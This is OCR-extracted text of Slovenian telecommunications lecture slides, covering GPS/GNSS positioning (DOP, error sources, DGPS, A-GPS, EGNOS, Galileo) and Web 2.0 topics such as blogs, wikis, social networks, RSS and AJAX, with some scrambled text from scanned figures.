m nadzor satelitov

m posodabljanje informacij

Uporabniski segment

m uporabniski sprejemniki razliénih oblik

24 do 32 satelitov od I. 1995 (26.2.2008 - PRN32)

20.200 km visoko nad zemljo (26.600 km nad srediSéem)

Zemljo obkrozijo v 11 urah in 58 minut s hitrostjo 3.88 km/s

_A%\

L
W‘Q/ ":( |
v

nad obzorjem so vedno vidni vsaj 4-je sateliti

Vesoljski segment
ey I
. . III s {%

- 7
|
S \

Kontrolni segment

o~
-

i
/!
|

N th L/
| N *
i o u @

Uporabniki
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GPS sateliti in sprejemniki

GPS sateliti GPS sprejemniki
m imajo vgrajene 4 natan€ne atomske ure m Vvsebujejo navadne elektronske ure
m zamik za 1 sekundo v 300k letih (Cs, Rb) m obéutljiv sprejemnik z anteno
= ves Cas oddajajo signale, ki vsebujejo = so razliénih izvedb in oblik

m polozaj satelita in toéen €as = cenovno dostopni

m stanje satelita in atmosfere ipd.

4.8 :
31 mph o d L
TOoOMTOM

——
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| Potreba po sprejemu vsaj 4 satelitov

= Primer za 2-D sistem (samo za ravnino, list papirja)
= “JOJ, IZGUBIL SEM SE. Ml LAHKO PROSIM POVESTE, KJE SEM?”

B: 54 km iz
Jesenic

A: Ste 82 km
oddaljeni od Kopra

C: Ste58 km iz
Novega mesta

3D: PRESEK
- DVEH KROGEL = KROZNICA

- TREH KROGEL =2 TOCKI

]

- STIRIH KROGEL =1 TOCKA
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Dolocitev polozaja

Osnova za dolocitev polozaja je merjenje razdalje do satelitov
m |okacije satelitov so znane iz oglasevanj njihovih oddaj
m uporaba almanaha in efemerid
m razdalja se v sprejemniku doloé€i z meritvijo €asa potovanja signala

m razdalja JE €as potovanja signala do sprejemnika KRAT hitrost svetlobe

m Mmeritev ¢asa mora biti zelo natanc¢na in stabilna

m napaka 1 pS povzroéi napako 300 metrov

signal iz satelita L .
: Stiri neznanke: (X Yy 240
lokalne generiran signal Ho | XY, Z, T %%
A e at /
LT U N Za 3D polozaj v
1”‘ l 1 — potrebujemo 4 oy
' __J J @ satelite / v
'd —* At L. -~ "-.._‘-
di .-"..-..--. 5 \"1
¢ ... hitrost svetlobe Q;?::’J 'H_d:"
R \"'..,
(Kzr Y20 22) 7 0 Ya 23)
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| Zagon sprejemnika GPS

Cas do prve dologitve lokacije TTFF (Time To First Fix)

m hladni zagon (Cold Start) > 60 s 32 CIA
Code

m pred dolog¢itvijo lokacije mora dobiti Se almanah

m celoten almanah se sprejme v cca. 15 min

] B ] 2046 Code Phases
m ni znane lokacije, ure, efemerid (1/2 Chip Step)

m topli zagon (Warm Start) od 30-45 s

m almanah je shranjen in znan 20 Carrier Frequencies

i iia i 10 kHz Unknown & 500 Hz St
= zadnja lokacija je znana na 100 km (10 kHz Unknown z Step)

m ¢as je znan na = 30 minut UTC IzhodiSée za izraéun TTFF:
« 32 kanalov (C/A kod)

» 2046 faz korelacije (zamiki)
m vro€¢ zagon (Hot Start) — nekaj sekund « 20 korakov frekvence (Doppler)

m efemeride niso veljavne (> 2h)

* trajanje enega pregleda 1ms
(32) x (2046) x (20) x Ims = 1309 s
12 kanalni sprejemnik zahteva:

m ¢as je znan (1309) / 12 = 109 sekund

m podatki o satelitih so shranjeni in veljavni

m zadnja lokacija je znana in blizu trenutne

——
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| Vpliv razporeditve satelitov

= Vrste identificiranih odstopanj
m HDOP: horizontalni DOP
m VDOP: vertikalni DOP
m PDOP: pozicijski DOP
» PDOP = \/d2 + d% + d?
m TDOP: €asovni DOP

m GDOP: geometrijski DOP
m GDOP = VPDOP? + TDOP?

s Odstopanje natan€énosti DOP (Dilution of Precision)

m dobesedni prevod: slabljenje oz. red€enje preciznosti

DOP Ocena Opis

NajviSja stopnja, namenjena aplikacijam z

1 Idealno navisjo zahtevo po natancnosti.

Natancnost zadostuje vsem razen najbolj

2-3 Odlieno zahtevnim aplikacijam.

Najnizja vrednost za poslovne odlocitve, Se
4-6 Dobro inizj P y

7-8 Zmerno izracune, ki natancnost izboljsajo.

9-20 Zadostno le uporaba za dolocanje obmocja.

21-50 Slabo koordinat.

L—;}O{j E}Qﬁj ﬁj{? ‘i}h

[ )
il

vedno dovolj za zadovoljivo cestno navigacijo.

Meritve lokacije se lahko uporabijo za nadaljnje

Lokacijski odcitki niso dovolj zanesljivi, mozna

Meritve niso zanesljive za uporabo izmerjenih

: _ _ & »
= Odvisno od postavitve satelitov %
m zaZelena enakomerna porazdeljenost >
-
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Virli napak pri satelitskem lociranju

Natanénost doloc¢itve polozaja z GPS-om
O 8

m odvisno od Stevila sprejemanih satelitov

Ionosfera

m geometrijske razporeditve satelitov na nebu
Troposfera

m Stanja atmosfere

m namernih napak (SA)

Viri napak se najveckrat skrivajo v

m atmosferi

m ionosfera in troposfera uklanjata pot signala

http://www.kowoma.de/en/gps/errors.htm

m odbojih od reflektivnih povrsin Natan&nost ur +om
m voda, velike zgradbe Napake efemerid +2.5m

L. . Vplivi ionosfere +5m
m prekinitvah signala Napaka troposfere  +0.5 m

Veépotje signalov  +1m
_ _ _ _ Napake priizraéunu +1m
m urah v sprejemniku ali satelitu ... SA motnje <100 m

m zaradi drevja, listja, iglic ipd.

www.ltfe.org, Laboratorij za telekomunikacije

27 |

——




Referenéno omrezje SIGNAL

s SIGNAL (Slovenlja-Geodezija-NAvigacija-Lokacija)
m drzavno omrezje neprekinjeno delujo€ih 15 GPS-postaj po vseh drzavi
m priblizno enakomerna razporejenost po obmog¢ju drzave

m kakovost dolo€itve polozaja je obratno sorazmerna z oddaljenostjo od reference

m centimetrska natan€nost v primeru dolzine stranice trikotnika < 70 km

Beve Bgcu €B5T

éz OUF . = :
S, w
oA Auan

eiee sz U AR
B0A
SONS ALBA

o 2 la ‘T*l

nmu e

CEUT
HAET

) s & GPS+GLONASS permanenina postaja : -
o é |+ Razdalja med postajama v km / 0 20 40

——
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| Uporaba diferencialnega sprejema

Arhitektura sistema DGPS

m vsebuje sekundarno referenéno merilno postajo GPS

m zahteva prenos podatkov iz referen€éne postaje do sprejemnika DGPS
Delovanje
m referenéna postaja izraunava razlike za svojo lokacijo in€as

m razlike v obliki popravkov psevdorazdalj se.posljejo na sprejeqnnik

m sprejemnik pri izraéunu uposSteva lasten/sprejem<in poprav

m znatno izboljSanje natanénosti na nekaj/cm (fazn itev)
POng : GSM podatkovna
. . . . . povezava med DGPS R
m sprejemnika morata videti vsaj Sprejemnikom m >
referen¢no bazno postajo
nekaj istih satelitov referenzna  7NAN RAZMIK ~ DOPS.
. ba_lzna pcv)sFaJa sprejemnik
m oddaljenost do 500 km instreznik  dO ~ 500 km
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Uporaba funkcionalnosti A-GPS

o . ) £+ ) Methods 1
Dve obliki asistence A-GPS (angl. Assisted GPS) TN 0
Bluetooth GPS
m pohitritev zagona sprejemnika in izboljSanje obc¢utljivosti J
ntegrated
m dostava podatkov o almanahu, toénem €asu, premikih frekvenc ... h thioriba‘i‘;i

m zagonski ¢éas (TTFF) se zmanjSa iz 120 na do 10 sekund

Symbian-Guru.com

m moznost lociranja tudi ob nepopolno sprejetih sporogilih (+20 dB)

m prenos kompleksnega izra€una lokacije na omrezne streznike
m posSiljanje nepopolno izmerjenih podatkov na streznik
m hitrejSa ocenitev lokacije zmanjSuje €¢as aktivnega stanja sprejemnika
m selitev raéunanja v omrezje zmanjSuje potrebo po CPU

m hizja cena kot samostojni sprejemnik GPS

Uporaba v mobilnih telefonih

m asistenca se zagotovi
m preko avtonomnih oddaj baznih postaj

m preko internetnih streznikov

m z uporabo arhitekture omrezij GSM in WLAN

{ www.ltfe.org, Laboratorij za telekomunikacije 30 |
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Dopolnilni sistem EGNOS

m SBAS (Satellite Based Augmentation Systems)

m oOpazovanje delovanja sistemov GPS in GLONASS
m sporocanje diferencialnih popravkov na sprejemnike

m zagotavljanje visoke natanénosti in razpolozljivosti

= EGNOS
m uraden za€etek: 1. 10. 2009, signali na voljo od 2005
s oddaja popravkov preko 3 GEQ SAT ~ WAAS wamssesifimmc. SBAS (GEO) sateliti e

EGNOS
GPS (MEO) sateliti %

e

European Geostationary MNavigation Overlay Service

m zbiranje podatkov na 34 postajah

m izboljSanje natanénosti
m 5 m vertikalno
m 2 m horizontalno
m podpora terminalne opreme

m vecéina sodobnih sprejemnikov

www.ltfe.org, Laboratorij za telekomunikacije 31 )
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| Galileo

Satellites 4 27(+3)

Evropska pobuda po neodvisnosti GNSS

Control Centres 1 3

m zagotavljanje v dveh postopnih korakih
m GNSS-1 (EGNQOS, za€etek delovanja 2005-2009)
m GNSS-2 (Galileo, za¢etek delovanja 2015-20197?)

Mission Uplink Stations 5 9

TT&C Stations 2 5

Sensor Stations 20 30-40

m skupni program ESA (European Space Agency) in (EU Comission)

m dosezen sporazum med ZDA in EU za uporabo skupnega civilnega nosilca

Trenutni razvoj sistema
m Giove-A: izstreljen 28. 12. 2005 (oddaja na L1+ES5 ali L1+EG)

m Giove-B: izstreljen 27. 4. 2008 (oddaja na dveh frekvencah)

T

m predvideno nadaljevanje £
0n
m |OV (In Orbit Validation) + 2 satelita l 0%

= FOC (Full Operational Capability) 5%
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| Galileo storitve

Storitev

Open
Service

Commercial
Service

Safety of

Life Service

Public
Regulated
Service

Sprejem Prednosti Ciljna skupina Dosegljivost
0s Ena Additional satellites for better multi -system Low end mass market Prosta
frekvenca coverage (e.g., deep urban) (e.g., LBS, outdoor)
Coding and modulation advances for increased
sensitivity and multi -path mitigation
Pilot signal for fast acquisition
Dvojna As above + increased accuracy with 2 ndfrequency High end mass market Prosta
frekvenca (e.g., car navigation,
maritime)
CSs Dvojna Increased accuracy using additional frequencies Professional markets Komercialna
frekvenca and signals (e.g., surveying,
Additional features under investigation (e.g., data e R ARG
rate capacity)
SoL Ena As OS + Aviation (en route) Certificirani
frekvenca Integrity and authentication of signal uporabniki
(Nivo B) - .
Continuity and service guaranty
Dvojna As above at higher performance levels suitable for Aviation (A) Certificirani
frekvenca stringent dynamic conditions Maritime (C) uporabniki
Nivo A, C
( » €) Road, Train (A)
PRS Dvojna As OS + Law enforcement Nadzorovana
frekvenca High Continuity (in times of crisis) Strategic
Improved Robustness ( vs jamming, spoofing) RS IRET
Ena Almost instantaneous reception of emergency calls Emergencies Certificirani
frekvenca Exact positioning of emergency beacon oddajniki

www.ltfe.org, Laboratorij za telekomunikacije
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| Primerjava satelitskih sistemov

m GPS - 31 (32) satelitov v 6 orbitalnih ravninah (w =11 h 58 min)
m GLONASS - 21 (24) satelitov v 3 orbitalnih ravninah (w = 11 h 15 min)
m Galileo — predvidenih 27 (30) satelitov v 3 ravninah

o NAVSTAR
L GLOMASS
& GALILEO

GNSS satellite pumtmns at epoch : NOV 01, 2008 [DD 30 UTC]

i IIIT" ——

positions every 15 minuies

ix.l__ﬁ.-.' "'_%',n_:l.}
n_,.--":"_ Er‘- E _':"}'--4__-,____ & B F‘/-

AT
R,

r';
e |
,:,.-"-{"'-'
[r]
o]
1
( ltl

Jan Dousa, GOP [ map SP30rb.pl) 10:30:38 How 2, 2008
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m Globalne postavitve GALILEO  1HHSS COMPASS
= GPS (32) %
a GLONASS (30)
m Galileo (27)

m Compass (30)

m Regionalne postavitve
s QZSS (3)
= IRNSS (7)
m Compass (5)
m Pomozni sistemi
s WAAS (2+1)
= MSAS (2)
= EGNOS (3)
= GAGAN (2)
= SDCM (2)

——
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LIFE

Telekomunikacie in informaciske Tehnologie
Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

Web 2.0

dr. Urban Sedlar
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i Vsebina

= Evolucija spleta

= Definicija Web 2.0

= Primeri storitev

= AJAX in Mashupi

= Varnost

= HTMLS

= Future internet in racunalnistvo v oblaku

www.Itfe.org, Laboratorij za telekomunikacije 2 /66 |
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Evolucija spleta

Web 1.0 Web 2.0

: GOL)gle {

. w
I '“;zb’/ - \

webservices™, :_le",a

> ¥
A' /
0‘ amazon {

Think liquid.

6# ice Live

m Zaprtost m Sodelovanje
m ni izmenjave podatkov = med aplikacijami

= med uporabniki (kolaboracija)
m Stati¢ne strani

m Dinamic¢ne aplikacije, bogata
m logika se izvaja na serverju

vsebina (slike, zvok, video)
m Splet kot platforma

——
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) Kaj je Web 2.0

= Kratka definicija

m “Build applications that harness network effects to get better the
more people use them. ” -- Tim O’Reilly

= Interaktivni splet: “read/write web”

= Karakterizira ga sodelovanje uporabnikov
m Youtube, Wikipedija, Digg...

= Dinamicne in prijaznejse spletne strani
m Javascript, AJAX

= Web kot platforma

m razvoj aplikacij, ki zdruzujejo podatke razli€nih storitev

< Web 1.0 was about reading, Web 2.0 is about writing

< Web 1.0 was about companies, Web 2.0 is about communities
< Web 1.0 was about client-server, Web 2.0 is about peer to peer
o Web 1.0 was about HTML, Web 2.0 is about XML

o

Web 1.0 was about home pages, Web 2.0 is about blogs

| WWW.ITTe.org, Lanoratorij za telekomunikacije 4 /66 |
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PERSON OF THE YEAR

By Qs T 14 P

Yes, you.
You control the Information Age.
Welcome to your world.

——
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Aggregators Wikis
Blogs FOlkSOHOHly User Centered ] 0% of Use

101 ] Six Degrees I
Pagerank XFN PﬁI’thlpﬁthn US ablllty

Recommendation Social Software FOAF

Sharing  Collaboration Perpetual Beta Slmpllclty
Videocasting  Podcasting AJAX

AUdiO IM Video W DeSigIl
Convergence e l ) 2 ° O (CSS  Pay Per Click

UMTS 12
Mobility  atom
OpenAPIS RSS semantic Web Standards SEO ECOHOIIly

ovenid - Remixability v Standardization The Long Tail

DataDriven Accessibility XML
) MicrOformats Syndication

Widgets

Browser

e Ruby on Rails v Trust  Affiliation

Modularity SOAP



LIFE

Telekomunikacie in informaciske Tehnologie
Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

Primeri storitev
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| Prva Web2.0 aplikacija

= Najbrz Google
= Problem: kako ugotovimo katere strani
na spletu so pomembne in katere ne?

m tako kot to poc¢nejo znanstveniki:
m revije ki jih bolj citiras so to€kovane visje

= ha internetu je citat “link”

m stran, na katero linkajo vsi,
je pomembna

m to je osnovna ideja Googlovega
algoritma PageRank
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i Bloganje

Gonilo

m penetracija Sirokopasovnosti in mobilnosti
m ne tehnologija!

Dinamicna domaca stran z druzabnimi lastnostmi
m Trackback (Pingback)
m Comment

m (Comment spam)
m Akismet

m Permalink
m Preprecuje “link rot”

RSS in Atom

m enostavnost spremljanja sprememb
m Stevilne aplikacije
Microblogging

m  Twitter

m Kratka SporOéiIa (do 160 ZnakOV) Share your pictures and videos with Reuters and
Yahoo! You Witness News — and share them with the world.

m posiljanje preko IM ali SMS R et oo

Were you there when the news happened? J
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| Podcasting

Osebna radijska postaja

m “demokratizacija radia”
Tehnologija

m snemanje Skype pogovorov

m distribucija avdio datotek preko RSS
Dostopnost

m ljudje s posebnimi potrebami (branje blog postov za slepe)
Mobilnost

m ustvarjalcev

m poslusalcev (poslusanje z obi¢ajnim MP3 predvajalnikom)
Mobilni terminali s predvajalnimi zmogljivostmi

m (sinhronizacija preko ustreznega softvera)

m Nokia, Motorola, Sony Ericsson
m iPod/iPhone

——
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' Video sharing You D)

Broadcast Yourself™

= Flash video <& "t AP
m enoten format: FLV kontejner in h263/h264 video rmetacare
m deluje v vsakem brskalniku z nalozenim Flashom W
= Druzabne funkcionalnosti

m Video odgovori
m tekstovni komentariji, ratingi

) MOjVID=0

slovenska videc

Rate: % % % % % 52287 ratings Views: 11,866,201
& Share @ Favorite ) Playlists ™ Flag
g MySpace Facebook @ Digg more share options
Dailymotion
Commentary Statistics & Data 4
Video Responses: 235 Text Comments: 31,349
¥ Video Responses (235) Sign in to post a Video Response
ST T e
i 01T 01:11 0341 01:289 -

ThXstorm BibbyPro... smileyuis patitoca. ..

View All - Play All

——
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http://www.metacafe.com/

i You'_l'ube

You D)

Vec kot 1 mrd. ogledov dnevno

m Na spletni strani in preko embeddov

m preko aplikacij (npr. iPhone, Android)
20+ ur novega videa vsako minuto

17 mrd. iskanj na mesec
m Vec kot Yahoo (9 mrd.)

Vsebine

s HD 480p, 720p, 1080p (1920x1080)
m Do 24MB (200 Mbit) za minuto videa
m Peering za znizevanje stroskov tranzita

YouTube Video Speed History
We did not find any video playbacks from your location.

Video Speed Comparison (January 28, 2010 to February 23, 2010)
Average Speed in Mbps

.30

278 2.96

2.53
2
1
0

ISP ljubljana svn global

This data is aggregated from our video servers.

youtube.com/my speed

About Uploading

* Capture and Upload in High Definition!
* pload up to 10 videos at a time

* Best video formats for YouTube

¢ |Upto 2 GB in size.

——
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Soustvarjanje vsebin

Spletne strani, ki jih lahko ureja vsak
m posebna sintaksa (formatiranje, linki)

m Vvse spremembe se hranijo v arhivu

m za kvarjenje strani ni ve€¢ motivacije,
€e je spremembe enostavno odstraniti

m Wikipedija

The Free Encyclopedia

navigation

= Main Page

n Contents

= Featured content
= Current events

= Random article

interaction

®  About Wikipedia

®  Community portal

= Recent changes

= Contact Wikipedia
= [Donate to Wikipedia
= Help

article discussion edit this page history

History of wikis

From Wikipedia, the free encyclopedia

There were several historical antecedents to the wikis,
Wannevar Bush's vision of a microfilm hypertext system
the Apple Computer hypertext system called HyperCard

However, the creation of the first wiki website only becar
MNetscape Mavigator (1994). In order to facilitate commur
first wiki, which he called WikiWikiVWeb (using the Hawg
programmers to participate in the experiment.

Ward Cunningham’s first wiki met with immediate succe
communities of free software developers, but at first rem
software and as the growing body of users developed a

developed between those who wanted to restrict the dis
was resolved by the creation the "SisterSites” Meathall\|

Wikis remained largely unknown outside of circles of so
public. After 2001 the number of wiki websites and the v
hundreds of wiki engines.

article discussion edit this page history

Editing History of wikis
From Wikipedia, the free encyclopedia

You are not currently logged in. Editing this way will cause your IP address to be recorded publi
and be provided with many other benefits. Messages sent to your IP can be viewed on your talk

Please do not save test edits. If you want to experiment, please use the sandbox.

This page is 41 kilobytes long.

B |7 |ab/@A |~

V| R | —| R ste| | | = o [ it

There were sewveral '''historical''' antecedents to the '"''[[wiki=s]]'
can be edited by any visitor. One of the earliest precursors was [ [V4
which he called the "[[memex]]"™ (1945). COther precursors were an earl

(hypertext) |Z0G]] (1972), and the Apple Computer hypertext system cal
Howewver, the creation of the first wiki website only became possible
[ [WorldWideWeb]] (19%1) and graphical such a= the

commanication between software developers, and also to experiment wif
the first wiki, which he called [[WikiWikiWel]] (u=ing the Hawaiian ¥

[ [web browsers]]
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i Kdo ustvarja te vsebine

Uporabniki

Spremembe v kulturi
m prevec prostega Casa
m TV pozre ves “umski presezek”
Ocenjen vlozek za izdelavo Wikipedije
m (vse vsebine, vsi jeziki in ves softver)
s 100 milijonov ur

Vsak vikend v USA

= 100 milijonov ur samo za gledanje reklam po TV (1 wikipedija)

Letno:
m 2000 Wikipedij samo v USA gre za TV
m 10.000 Wikipedij letno na celem svetu za TV

Dovolj je izdolbsti le delcek procenta iz tega Casa
Odli¢éna prezentacija: Clay Shirky http://blip.tv/file/855937

——
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http://blip.tv/file/855937

| Socialna omrezja

aceboo

Veliko igralcev

m Myspace, Facebook, Hi5, Orkut
m  wikipedija nasteje > 130 portalov

Predpostavka

druzenje

dodajanje prijateljev,

vzdrzevanje stikov,

sporoc¢anje, posSiljanje daril,

zabavne aplikacije (igre, ocenjevanja)

Past

m zasebnost
(vse informacije so lahko dostopne
vsem, dokler tega ne
spremenimo)

m BBC-jev eksperiment

Platforma

m Facebook omogoca
tretjim osebam razvoj aplikacij,
ki uporabljajo core
funkcionalnosti Facebooka

ﬁmyspace@’

a place for friends

Study where
you want,

——
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Mobilna socialna omrezja

Poenotene komunikacije
m lokacijsko ozavesScene (GPS/WiFi/Cell ID)
m Facebook aplikacija za iPhone
m +prilagojena mobilna spletna stran

iPhone,
iPod Touch

Facebook

430 mio
uporabnikov
+137% zadnje leto

Android
telefoni

70 mio 57 mio
+600% uporabnikov

zadnje +166% zadnje leto
leto

350K aplikacij
500M downloadov

‘ Bralniki

e- knjig (3G)
(Kindle: 1mio)

85K aplikacij
2B downloadov

Netbooki
(39 mio)

m Dowg Highinnd commented 0n your post.

[
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| Priporocilni sistemi

= Information overload (prevec€ zanimivih informacij!)
m izbira informacij s pomocjo “prijateljev”
m tagging (oznacevnje - iskanje informacij po oznakah)
m Google (PageRank)

= Uporabno za:
m novice: Digg, Slashdot,..
m vsebine (slike, glasbo, knjige): Flickr, Amazon, Last.fm
m bookmarke (del.icio.us)

— amazoncom
IT<meme flickr

: lost-fm
m QO) 9 PAN D O RA the soclal music revolution

——
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http://www.last.fm/
http://amazon.com/ref=topnav_gw_gw/102-5843059-9965761
http://flickr.com/
http://images.google.com/imgres?imgurl=http://www.actualite-en-ligne.com/IMG/siteon50.png&imgrefurl=http://www.actualite-en-ligne.com/-Software-&h=24&w=100&sz=2&hl=en&sig2=LYXMgI6mJBY0z4OxPt52Cg&start=25&tbnid=8SA1naDbEZZ28M:&tbnh=20&tbnw=82&ei=nSY-RYO-L4KYRc-svBE&prev=/images%3Fq%3Dslashdot%26start%3D18%26imgsz%3Dicon%26ndsp%3D18%26svnum%3D10%26hl%3Den%26lr%3D%26sa%3DN
http://images.google.com/imgres?imgurl=http://www.techcrunch.com/wp-content/uploads/2006/02/rojologo.jpg&imgrefurl=http://www.techcrunch.com/2006/03/16/rojo-gets-relevant/&h=106&w=175&sz=4&hl=en&sig2=-1pHQ1WES_3fstMN3rfpxA&start=22&tbnid=nRoaYcNu1uqR_M:&tbnh=61&tbnw=100&ei=BCc-RZ2ALYWCRaSFgBM&prev=/images%3Fq%3Drojo%2Bfeed%26start%3D18%26imgsz%3Dsmall%257Cmedium%257Clarge%257Cxlarge%26ndsp%3D18%26svnum%3D10%26hl%3Den%26lr%3D%26sa%3DN
http://www.techmeme.com/
http://images.google.com/imgres?imgurl=http://iml104.iml.annenberg.edu/2006spring/images/pierson_digg.gif&imgrefurl=http://iml104.blogspot.com/&h=170&w=300&sz=20&hl=en&sig2=H8JD3pOM778JV_jTF8bYhQ&start=25&tbnid=WLVq98RSMuHH8M:&tbnh=66&tbnw=116&ei=YCc-RfffEYKaRZK0sRY&prev=/images%3Fq%3Ddigg%2Blogo%26start%3D18%26imgsz%3Dsmall%257Cmedium%257Clarge%257Cxlarge%26ndsp%3D18%26svnum%3D10%26hl%3Den%26lr%3D%26sa%3DN

Pametna uporaba podatkov

Data = next “Intel Inside”
“Crowdsourcing”

Google spell checker

m deluje samo z analizo iskalnih pojmov
m uporabnik najprej iS¢e “Britney Speras”
m ker ni zadetkov, popravi na “Britney Spears”

Spam v Gmailu
m nekaj uporabnikov oznaci mail kot spam
m sistem lahko vsem ostalim uporabnikom isti mali vrze v spam

reCaptcha

m captcha je popacen tekst; le ga lahko preberete,
dokazete, da ste ¢lovek

m Completely Automated Public Turing test only o rin P
to tell Computers and Humans Apart > '

Type the two words:

m reCaptcha uporablja skenirane besede, _ | | 2 @Amm
Ki jih OCR ne prepozna . e 524 Bboks. |
m uporabniki delajo OCR

www.ltfe.org, Laboratorij za telekomunikacije 19 /66
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) News feedi

m “Novicarski kanali”

= Avtorji objavljajo vsebine v posebnem formatu
m na katerega se lahko uporabniki narocijo
m nhajpogostejsa formata RSS in Atom

= Uporabniki se lahko s posebnimi bralniki novic
(feed readerji) narocCijo na vsebino
m bralnik periodiéno preverja, ¢e se je feed osvezil
m vecina brskalnikov ima ze vgrajene bralnike novic
s Firefox Live bookmarks @ T ETENT—————

| v'e~06 ltel

=B e+

__feed:/ /www.auct

| Safa ri @ Slashdat E,, Webwereld E,, .l E,, hack a da
|| Condensing Your Life on to a USE Flash Drive? |tems freeWidgets is )
u I E 7 || The Science Of Happiness

|| HP ta Install Metscape on all new PCs iPod Video 30 60 GB Aluminum

B shutteworth on Ubunby's Direction and Intent ) i I
| Yahao c-:.mpet ith Gaogle in Book Scanning Price:0.99 USD | Bids: 0 | Shipping: N/A | End

|| Wenture Capital in Open Source

m Opera

i¢ Favorites | [ Feeds | ¥ History ~ [ ]

:e; ::ic Re‘iea?s n || LispM Source Released Under 'BSD Like' License ENDED: iPod NANO Silicon Ski

) Investor Drscumsons py ] Clustering vs. Faulk-Telerant Servers Price: 0.01 GBP | Bids: 0 | BIN Price: 0.99 | Shi
nvestor Discussions . . U . U

) Money Talk: The Smart Way to Invest || ® Prize Founder Launches Rocket Racing Lea... Read more...

|| Free Gentoo Technical Suppart

1 Open in Tabs
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| RSS - Primer: RSS je XML

< ?xml version="1.0"2=>
<rss version="2.0"=
zchannel=

<title=Liftoff News</title=
<link=http://liftoff.msfc.nasa.gov/</link=>
<description=Liftoff to Space Exploration.</description=
<language>en-us</language:>
<pubDate=Tue, 10 Jun 2003 04:00:00 GMT </pubDate >

fr.- _

<lastBuildDate>=Tue, 10 Jun 2003 09:41:01 GMT </lastBuildDate >
zdocs=http://blogs.law.harvard.edu/tech/rss</docs=
<generator>Weblog Editor 2.0</generator>
<managingEditor>editor@example.com</managingEditor>
<webMaster>=webmaster@example.com</webMaster:>

<item:=
<title=Star City </title>
<link=http://liftoff.msfc.nasa.gov/news/2003/news-starcity.asp</link>
<description=How do Americans get ready to work with Russians aboard the
International Space Station? They take a crash course in culture, language
and protocol at Russia's Star City. </description =
<pubDate=Tue, 03 Jun 2003 09:39:21 GMT </pubDate =
zguid =http://liftoff. msfc.nasa.gov/2003/06/03. html=Zitem573 </qguid =
=/item=

zitem =
<title=Space Exploration</title=
<link=http://liftoff.msfc.nasa.gov/</link>

cdescrintion=Skv watchers in Furnne. Asia. and narts of Alaska and Canada

( www.Itfe.org, Laboratorij za telekomunikacije 22 /66 |
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Narocanje na novice

= Namizni programi (veC deset, tudi kot dodatki za Outlook)
= Spletni readerji: Bloglines, Google reader

Mail Calendar Documents Photos Groups Web more v

GODgle Reader

&6 Home

i All items

¥ Starred items
Shared items

&l Trends

EJAdd subscription Browse »

Show: updated - all Refresh
e Eifun

&) American Thinker

&) American Thinker Blog

&) InterfacelIFT wallpaper

&) Pearls Before Swine

&) Quotes of the Day

© (& productivity
&) Dumb Little Man

& Lifehack

& Lifehacker

&) Pick the Brain
&) Zen Habits

Manage subscriptions »

All items

Show: 0 new items - all items
4 Litehacker

- ~@yahoo.com | Offline | Settings | My Account | Help | Sign Out

Al items -

View settings... ™| Expanded view List view

Mark all as read | | Refresh

Work: How to Estimate Your Costs tor a lask - VWhen negotiating your tee for a job with a potential business chent,

12:Ub PNV W g

7 American Thinker Blog McCain: No Muslim President - John McCain: No JFK. 9:50 AM ©
7 American Thinker Blag Canadian Dollar Closes Above US Greenback - For the first time since Movember of 1976, the Canadian dollar is 9:50 AM @
Canadian Dollar Closes Above US Greenback
from American Thinker Blog
For the first time since Novernber of 1976, the Canadian dollar is more valuable in the currency
markets than the American Greenback.
<7 Add star Share (- Email IMark as read < Edittags: fun
©7 American Thinker Blag Gingrich Decides Not to Run - The months long teasing by Newt Gingrich about his plans for the 2008 presidential 950 AM @ =
77 InterfacelIFT wallpaper Old Green Pickup - Desktop Wallpaper3D composition of a Chevy 1300 pickup in an open field. Resolutions: 8:24 AM @
7 American Thinker President Thompson - Conventional wisdom is hardening around the proposition that Fred Dalton Thompson is too 344 AM ©
¥ American Thinker Sorry, Fred, I'm Sticking With Rudy - Frankly, there is nothing in this world that would make me happier than to 344 AM @ | |
7 American Thinker Bob Weir for President - I've decided to throw my hat in the ring and make a run for the White House. 344 AM @
¥¥ Quotes of the Day Aaron McGruder - "Late to bed and late to wake will keep you long on money and short on mistakes.” 323 AM @
©7 Quotes of the Day Will Rogers - "The best doctor in the world is the veterinarian. He can't ask his patients what is the matter-he’s got 323 AM @

7 Dumb Little Man

How to Make a Chicago Hot Dog - My buddy Yan over at Diethack is going to hate this post but que sera, seral

Sep 29, 2007 ©

7 Lifehacker

Firefox: Run Faster Without Rebooting Reinstalling - If Firefox has a flaw to get bummed about, it's that it slows

Sep 29, 2007 ©

9% Lifehacker

Sleep: Assess Your Sleeping Habits - The BBC's Science and Nature section has an interesting quiz titled the

Sep 29, 2007 ©

7 Lifehacker

a Previous item | | v Mext item

Video: Create a Professional Video Short with Animoto - If vou're looking for new and exciting ways to share your

Sep 29, 2007 © ™
more than 60 items

——
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| AJAX

= Asynchronous Javascript and XML
browser client
| Skupek tehnOIOQij user interface
(Oblikovanje Strani) prowser client * HTML+(iSSdata
- DOM (dOStOp dO user interface Ajax engine
. A A
modela strani)
HTTP request HTTP request
m XMLHttpRequest httr(s) transport httrl(s) transport
(asinhrona izmenjava HTML+CSS data XML data
podatkov s streznikom) \ \
. web server web and/or XML server
s XML, JSON (podatki) v
A \ A
datastores, backend datastores, backend
processing, legacy systems processing, legacy systems
server-side systems server-sige systems
classic Ajax
web application model web application model
Vir: www.adaptivepath.com
1 www.Itfe.org, Laboratorij za telekomunikacije 25/ 66 )
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AJAX

= AJAX omogoca:
m da spletne strani delujejo kot programi
m ter komunicirajo s streznikom v ozadju (brez reloada)

eoe Gmail - Inbox
4 |6 | | [Clhtp://gmail.google.c ¥ (Gl
. I ahansen@gmail.com | Feedback | Contacts | S¢
Mall | ,
by Google BETA Show search opti¢ Googe Spreadsheets | Flev |  Save Mew speadsheet Open a spreadsheet
Compose Mail archive |[More actic |Unsaved spreadsheet Save
Inbox ﬁzl::tzml. Read, Unres F t Son Formuas New
Open
Starred 37 ;
> me, Ask, Rob¢ | ChocseFermaty g 7 u 7
Sent Mail - , i © Saveas
All Mail [ iman msam ‘ 3 2 € Download as xls
Spam Wk 2 Download as csy ~ Sneet Oriy
Trash I~ Ask, me (2) 3 Get HTML Sxet Ondy
¥ Labels [T Robett,me(2 | ¢ Upload new version sbout blog community producls privacy mesbome heip jobs 4f)
amail stuff Gmail Team | ° -
Edit labels I : 6 Rename == testing | |o]x]
Select: All, Read, Unrez | ; Ootike ' Welcome nosillacast!
i | i You are loggad in as:
&I Mare actic : Close At 99 W e ‘7“‘;6_
[20:23] testing: Hi Allison - GREAT show this week!
